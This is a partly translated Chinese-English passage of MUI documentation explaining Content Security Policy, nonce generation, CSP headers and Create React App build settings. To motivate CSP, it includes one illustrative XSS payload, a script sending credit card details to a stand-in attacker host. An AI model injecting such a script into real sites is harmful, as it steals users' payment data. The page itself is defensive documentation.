内容安全策略（CSP）

本节介绍了建立 CSP 的详细信息。

什么是 CSP，为什么它有用?

CSP 通过要求开发人员检索其资产的来源并将其列入白名单来缓解跨站点脚本（XSS）攻击。 此列表作为服务器的头部（heade）返回。 例如，假设您有一个托管在 `https://example.com` 的网站 CSP 头部 `default-src: 'self';` 将仅加载 `https://example.com/*` 的所有资源，并否认所有其他人。 如果您的网站的某个部分容易受到 XSS 的影响而未显示未转义的用户输入，则攻击者可以输入以下内容：

```
<script>
  sendCreditCardDetails('https://hostile.example');
</script>
```

此漏洞允许攻击者执行任何操作。 但是，若使用安全的 CSP 头部，浏览器将不会加载此脚本。

您可以在 MDN Web Docs 阅读有关 CSP 的更多信息。

如何实现 CSP?

服务端渲染（SSR）

To use CSP with MUI (and emotion), you need to use a nonce. A nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request.

CSP nonce 是一个 Base 64 编码的字符串。 你可以生成这样一个：

```
import uuidv4 from 'uuid/v4';

const nonce = new Buffer(uuidv4()).toString('base64');
```

你必须使用 UUID 4，因为它可以生成一个 **不可预测** 的字符串。 接下来您可以将此随机数应用于 CSP 头部。 应用了随机数时，CSP 头部可能看起来像这样：

```
header('Content-Security-Policy').set(
  `default-src 'self'; style-src: 'self' 'nonce-${nonce}';`,
);
```

你应该在服务端的 `<style>` 标签中传递一次性加密数字（nonce）。

```
<style
  id="jss-server-side"
  nonce={nonce}
  dangerouslySetInnerHTML={{
    __html: sheets.toString(),
  }}
/>
```

然后，您必须将此随机数传递给 JSS ，以便将其添加到后续 `<style>` 标记中。

> *Note, if you were using `StyledEngineProvider` with `injectFirst`, you will need to replace it with `CacheProvider` from emotion and add the `prepend: true` option.*

```
<head>
  <meta property="csp-nonce" content="this-is-a-nonce-123" />
</head>
```

Create React App (CRA)

根据 Create React App 文档，Create React App 会在生产构建过程中默认将运行时脚本动态嵌入到 index.html 中。 这需要在你的每次部署时都要在 CSP 中设置一个新的哈希值。

要将 CSP 与 Create React App 的项目一起使用，你需要在用于生产构建的 `.env` 文件中设置 `INLINE_RUNTIME_CHUNK=false` 。 这将像往常一样导入运行时脚本，而不是直接嵌入它，就可以避免在每次部署时都需要设置一个新的哈希值的情况了。

styled-components

The configuration of the nonce is not straightforward, but you can follow this issue for more insights.